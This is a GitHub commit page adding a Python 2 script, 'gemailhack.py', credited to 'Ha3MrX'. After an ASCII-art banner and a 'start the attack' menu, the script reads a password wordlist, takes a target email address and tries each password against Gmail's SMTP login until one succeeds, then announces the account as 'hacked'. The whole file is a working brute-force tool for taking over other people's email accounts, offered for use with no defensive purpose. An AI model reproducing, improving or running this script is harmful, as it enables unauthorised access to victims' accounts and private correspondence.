Skip to content

Commit c4ee7a2

Browse files
authoredApr 19, 2018
Add files via upload
1 parent 4949d3a commit c4ee7a2

File tree

1 file changed

+74
-0
lines changed

1 file changed

+74
-0
lines changed
 

‎gemailhack.py

Lines changed: 74 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,74 @@
1+
#!/usr/bin/python
2+
'''create by Ha3MrX'''
3+
4+
import smtplib
5+
from os import system
6+
7+
def main():
8+
print '================================================='
9+
print ' create by Ha3MrX '
10+
print '================================================='
11+
print ' ++++++++++++++++++++ '
12+
print '\n '
13+
print ' _,. '
14+
print ' '
15+
print ' '
16+
print ' HA3MrX '
17+
print ' _,. '
18+
print ' ,` -.) '
19+
print ' ( _/-\\-._ '
20+
print ' /,|`--._,-^| , '
21+
print ' \_| |`-._/|| , | '
22+
print ' | `-, / | / / '
23+
print ' | || | / / '
24+
print ' `r-._||/ __ / / '
25+
print ' __,-<_ )`-/ `./ / '
26+
print ' \ `--- \ / / / '
27+
print ' | |./ / '
28+
print ' / // / '
29+
print ' \_/ \ |/ / '
30+
print ' | | _,^- / / '
31+
print ' | , `` (\/ /_ '
32+
print ' \,.->._ \X-=/^ '
33+
print ' ( / `-._//^` '
34+
print ' `Y-.____(__} '
35+
print ' | {__) '
36+
print ' () V.1.0 '
37+
38+
main()
39+
print '[1] start the attack'
40+
print '[2] exit'
41+
option = input('==>')
42+
if option == 1:
43+
file_path = raw_input('path of passwords file :')
44+
else:
45+
system('clear')
46+
exit()
47+
pass_file = open(file_path,'r')
48+
pass_list = pass_file.readlines()
49+
def login():
50+
i = 0
51+
user_name = raw_input('target email :')
52+
server = smtplib.SMTP_SSL('smtp.gmail.com', 465)
53+
server.ehlo()
54+
for password in pass_list:
55+
i = i + 1
56+
print str(i) + '/' + str(len(pass_list))
57+
try:
58+
server.login(user_name, password)
59+
system('clear')
60+
main()
61+
print '\n'
62+
print '[+] This Account Has Been Hacked Password :' + password + ' ^_^'
63+
break
64+
except smtplib.SMTPAuthenticationError as e:
65+
error = str(e)
66+
if error[14] == '<':
67+
system('clear')
68+
main()
69+
print '[+] this account has been hacked, password :' + password + ' ^_^'
70+
71+
break
72+
else:
73+
print '[!] password not found => ' + password
74+
login()

0 commit comments

Comments
 (0)
Please sign in to comment.